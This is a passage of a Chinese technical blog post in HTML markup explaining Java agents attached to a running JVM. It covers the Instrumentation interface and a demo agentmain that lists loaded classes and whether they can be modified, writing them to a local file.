com.shiroha.demo;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.instrument.Instrumentation;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">AgentDemo</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">agentmain</span><span class="code-snippet__params">(String agentArgs, Instrumentation inst)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">0</span>; i &lt; <span class="code-snippet__number">10</span>; i++) {</span></code><code><span class="code-snippet_outer">            System.out.println(<span class="code-snippet__string">&#34;hello I`m agentMain!!!&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-backh="57" data-backw="315" data-ratio="0.18078175895765472" title="null" data-type="png" data-w="1228" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=d531fc7c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcqE8ibph3QYIufb8QZaR1Qve2mMHFSbPVLVxKdj27j94f98scKiaUtgcF4eiad5jTU6QrRfX7GVS5bg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-backh="85" data-backw="315" data-ratio="0.2699579831932773" title="null" data-type="png" data-w="1904" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=d48bc268&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcqE8ibph3QYIufb8QZaR1QvMMHaVSawR1rLIsQlCm6boQjXicW73KNV6IdRzaswJywjZ5kHZDEwHiaA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">成功attach并加载了agent。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">整个过程的流程图大致如下图所示：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="584" data-backw="489" data-ratio="1.1942740286298568" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="489" src="https://wechat2rss.xlab.app/img-proxy/?k=4456f090&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcqE8ibph3QYIufb8QZaR1QvEl9lY8LVwPa9J0q0xCHp4SQB2HWezTictAyWMia7a9jzdXujLnL3qbaA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p></section></section></section></section><section data-role="paragraph" data-color="#ff8124"><p><br/></p></section><section data-tools="135编辑器" data-id="97528" data-color="#ff8124"><section style="margin:10px auto;text-align: center;"><section style="display:inline-block;"><section style="display: flex;justify-content: space-between;align-items: center;padding-right: 10px;padding-left: 10px;box-sizing: border-box;"><section style="display:flex;justify-content: center;align-items: center;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 5px;height: 25px;border-radius: 20px;background-color: rgb(255, 237, 36);margin-top: 6px;color: rgb(36, 33, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 5px;height: 25px;border-radius: 20px;background-color: rgb(200, 255, 36);margin-top: 20px;margin-left: 4px;color: rgb(27, 36, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 5px;height: 25px;border-radius: 20px;background-color: rgb(127, 255, 36);margin-left: 4px;color: rgb(255, 255, 255);overflow: hidden;"><br/></section></section><section style="display:flex;justify-content: center;align-items: center;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 5px;height: 25px;border-radius: 20px;background-color: rgb(255, 237, 36);margin-top: 6px;color: rgb(36, 33, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 5px;height: 25px;border-radius: 20px;background-color: rgb(200, 255, 36);margin-top: 20px;margin-left: 4px;color: rgb(27, 36, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 5px;height: 25px;border-radius: 20px;background-color: rgb(127, 255, 36);margin-left: 4px;color: rgb(255, 255, 255);overflow: hidden;"><br/></section></section></section><section style="border-width: 1px;border-style: solid;border-color: rgb(255, 129, 36);background-color: rgb(254, 254, 254);padding: 6px 2.5em;box-sizing: border-box;margin-top: -18px;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;"><span style="color: #f79646;"><strong><span style="font-size: 24px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">进阶</span></strong></span></section></section><section style="box-sizing: border-box;width: 80%;height: 6px;margin-right: auto;margin-left: auto;background-color: rgb(255, 129, 36);border-bottom-left-radius: 20px;border-bottom-right-radius: 20px;color: rgb(255, 255, 255);overflow: hidden;" data-width="80%"><br/></section></section></section></section><section data-role="paragraph" data-color="#ff8124"><p><br/></p></section><section data-tools="135编辑器" data-id="101364" data-color="#ff8124"><section style="margin: 10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="box-sizing:border-box;width: 45px;"><img data-ratio="0.8245614035087719" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="57" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=7d782c03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldcqE8ibph3QYIufb8QZaR1QviaFbZPXjUiaia7tNjciaJnwpqbKmGnhZTD4HUexj8OdZM52oPYuEn0seEQ%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="background: #ff8124;padding: 4px;border-radius: 10px;margin-top: -20px;color: #ffffff;"><section data-autoskip="1" style="text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: #ff8124;background: #ffffff;padding: 2em 1em 1em;border-radius: 10px;"><section data-tools="135编辑器" data-id="101761" data-color="#ff8124"><section style="margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;flex-direction: column;"><section style="box-sizing:border-box;width:40px;"><img data-ratio="1.3" style="box-sizing:border-box;width:100%;display:block;" data-type="png" data-w="60" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=4fcd077e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcqE8ibph3QYIufb8QZaR1Qvk2fI2GOo7NNjbXeyuvekAMmH5sS42mBASXuicVz4kPCsicIxntZ0oEIw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;display:flex;justify-content: center;align-items: center;margin-top: -20px;"><section style="display: inline-block;background: #ff8124;border-radius: 8px;color: #ffffff;padding: 4px;"><section style="border-width: 1px;border-style: solid;border-color: rgb(255, 129, 36);box-sizing: border-box;border-radius: 8px;"><section data-brushtype="text" style="font-size: 16px;padding: 6px 1em;letter-spacing: 2px;box-sizing: border-box;" hm_fix="306:540"><span style="font-size: 18px;"><strong>Instrumentation</strong></span></section></section></section></section></section></section></section><p style="text-align: left;box-sizing: border-box;margin: -20px 10px 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 1.5px;background: rgb(255, 255, 255);padding: 2em 1em 1em;border-radius: 10px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;background-color: rgb(255, 129, 36);color: rgb(255, 255, 255);font-size: 14.4px;"></span><br/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 255, 255);line-height: 1.5;font-size: 14.4px;background: rgb(255, 129, 36);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Instrumentation</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">是</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 255, 255);line-height: 1.5;font-size: 14.4px;background: rgb(255, 129, 36);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">JVMTIAgent</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">（JVM Tool Interface Agent）的一部分。Java agent通过这个类和目标JVM进行交互，从而达到修改数据的效果。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">下面列出这个类的一些方法，更加详细的介绍和方法，可以参照<span style="box-sizing: border-box;color: rgb(255, 129, 36);line-height: 1.5;">官方文档<sup style="box-sizing: border-box;">[1]</sup></span>。也可以看下面的<span style="box-sizing: border-box;color: rgb(255, 129, 36);line-height: 1.5;">参考资料<sup style="box-sizing: border-box;">[2]</sup></span>。</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 14px;background-color: rgba(0, 0, 0, 0.03);color: rgb(51, 51, 51);"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">interface</span> <span class="code-snippet__title">Instrumentation</span> </span>{</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 增加一个 Class 文件的转换器，转换器用于改变 Class 二进制流的数据，参数 canRetransform 设置是否允许重新转换。在类加载之前，重新定义 Class 文件，ClassDefinition 表示对一个类新的定义，如果在类加载之后，需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后，后续的类加载都会被Transformer拦截。对于已经加载过的类，可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后，除非再次被retransform，否则不会恢复。</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">addTransformer</span><span class="code-snippet__params">(ClassFileTransformer transformer)</span></span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 删除一个类转换器</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">boolean</span> <span class="code-snippet__title">removeTransformer</span><span class="code-snippet__params">(ClassFileTransformer transformer)</span></span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 在类加载之后，重新定义 Class。这个很重要，该方法是1.6 之后加入的，事实上，该方法是 update 了一个类。</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">retransformClasses</span><span class="code-snippet__params">(Class&lt;?&gt;... classes)</span> <span class="code-snippet__keyword">throws</span> UnmodifiableClassException</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 判断目标类是否能够修改。</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">boolean</span> <span class="code-snippet__title">isModifiableClass</span><span class="code-snippet__params">(Class&lt;?&gt; theClass)</span></span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 获取目标已经加载的类。</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@SuppressWarnings</span>(<span class="code-snippet__string">&#34;rawtypes&#34;</span>)</span></code><code><span class="code-snippet_outer">    Class[] getAllLoadedClasses();</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    ......</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">由于知识点过多和篇幅限制，只先介绍</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 255, 255);line-height: 1.5;font-size: 14.4px;background: rgb(255, 129, 36);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">getAllLoadedClasses</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">和</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 255, 255);line-height: 1.5;font-size: 14.4px;background: rgb(255, 129, 36);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">isModifiableClasses</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">看名字都知道：</span></p><p style="text-align:left;box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.5;list-style: circle;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">•<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 255, 255);line-height: 1.5;font-size: 14.4px;background: rgb(255, 129, 36);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">getAllLoadedClasses</code>：获取所有已经加载的类。</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">•<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 255, 255);line-height: 1.5;font-size: 14.4px;background: rgb(255, 129, 36);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">isModifiableClasses</code>：判断某个类是否能被修改。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">修改之前写的agentmain：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> com.shiroha.demo;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.File;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.FileNotFoundException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.FileOutputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.IOException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.instrument.Instrumentation;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">AgentDemo</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">agentmain</span><span class="code-snippet__params">(String agentArgs, Instrumentation inst)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        Class[] classes = inst.getAllLoadedClasses();</span></code><code><span class="code-snippet_outer">        FileOutputStream fileOutputStream = <span class="code-snippet__keyword">new</span> FileOutputStream(<span class="code-snippet__keyword">new</span> File(<span class="code-snippet__string">&#34;/tmp/classesInfo&#34;</span>));</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (Class aClass : classes) {</span></code><code><span class="code-snippet_outer">            String result = <span class="code-snippet__string">&#34;class ==&gt; &#34;</span> + aClass.getName() + <span class="code-snippet__string">&#34;\n\t&#34;</span> + <span class="code-snippet__string">&#34;Modifiable ==&gt; &#34;</span> + (inst.isModifiableClass(aClass) ? <span class="code-snippet__string">&#34;true&#34;</span> : <span class="code-snippet__string">&#34;false&#34;</span>) + <span class="code-snippet__string">&#34;\n&#34;</span>;</span></code><code><span class="code-snippet_outer">            fileOutputStream.write(result.getBytes());</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        fileOutputStream.close();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">重新attach到某个JVM，在</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 255, 255);line-height: 1.5;font-size: 14.4px;background: rgb(255, 129, 36);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">/tmp/classesInfo</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">文件中有如下信息：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">class</span> ==&gt; java.lang.invoke.LambdaForm$MH/<span class="code-snippet__number">0x0000000800f06c40</span>        </span></code><code><span class="code-snippet_outer">    Modifiable ==&gt; <span class="code-snippet__literal">false</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">class</span> ==&gt; java.lang.invoke.LambdaForm$DMH/<span class="code-snippet__number">0x0000000800f06840</span>        </span></code><code><span class="code-snippet_outer">    Modifiable ==&gt; <span class="code-snippet__literal">false</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">class</span> ==&gt; java.lang.invoke.LambdaForm$DMH/<span class="code-snippet__number">0x0000000800f07440</span>        </span></code><code><span class="code-snippet_outer">    Modifiable ==&gt; <span class="code-snippet__literal">false</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">class</span> ==&gt; java.lang.invoke.LambdaForm$DMH/<span class="code-snippet__number">0x0000000800f07040</span>        </span></code><code><span class="code-snippet_outer">    Modifiable ==&gt; <span class="code-snippet__literal">false</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">class</span> ==&gt; jdk.<span class="code-snippet__keyword">internal</span>.reflect.GeneratedConstructorAccessor29        </span></code><code><span class="code-snippet_outer">    Modifiable ==&gt; <span class="code-snippet__literal">true</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">........</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">得到了目标JVM上所有已经加载的类，并且知道了这些类能否被修改。</span><br/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">至于如何修改JVM上的字节码，请听下回分解。</span></p></section></section></section></section><section data-role="paragraph" data-color="#ff8124"><p><br/></p></section><section data-tools="135编辑器" data-id="92418" data-color="#ff8124"><section style="border-width: 0px;border-style: initial;border-color: currentcolor;box-sizing: border-box;" data-color="#ff8124"><p><br/></p><section style="box-sizing:border-box;width: 100%;" data-width="100%"><section style="margin-right: auto;margin-left: auto;text-align: center;transform: translateZ(10px);"><section style="box-sizing: border-box;padding-right: 6px;padding-left: 6px;width: auto;display: inline-block;background-color: rgb(254, 254, 254);"><section style="display: flex;"><section style="padding-right: 15px;padding-left: 15px;border-radius: 8px;height: 35px;color: rgb(255, 255, 255);line-height: 35px;font-size: 18px;background-color: rgb(255, 129, 36);transform: translateZ(10px);"><p><span style="font-size: 20px;"><strong>参考资料</strong></span></p></section><section style="box-sizing: border-box;background-position: center center;margin-top: -14px;margin-left: 3px;width: 20px;height: 25px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/e9yMd8aXldcqE8ibph3QYIufb8QZaR1QvkFh1HU0OS0R6Yfly0glOHDZAkeiajs3PK9ajeYSVTHfibuh7FFPA6rNg/640?wx_fmt=png&#34;);background-repeat: no-repeat;background-size: 100% 100%;background-color: rgb(255, 129, 36);color: rgb(255, 255, 255);overflow: hidden;"><br/></section></section></section></section><section style="padding: 15px;border-width: 1px;border-style: solid;border-color: rgb(255, 129, 36);margin-top: -18px;box-sizing: border-box;text-align: left;"><section style="box-sizing:border-box;margin: 7px auto;width: auto;display: inline-block;"><p><span style="font-size: 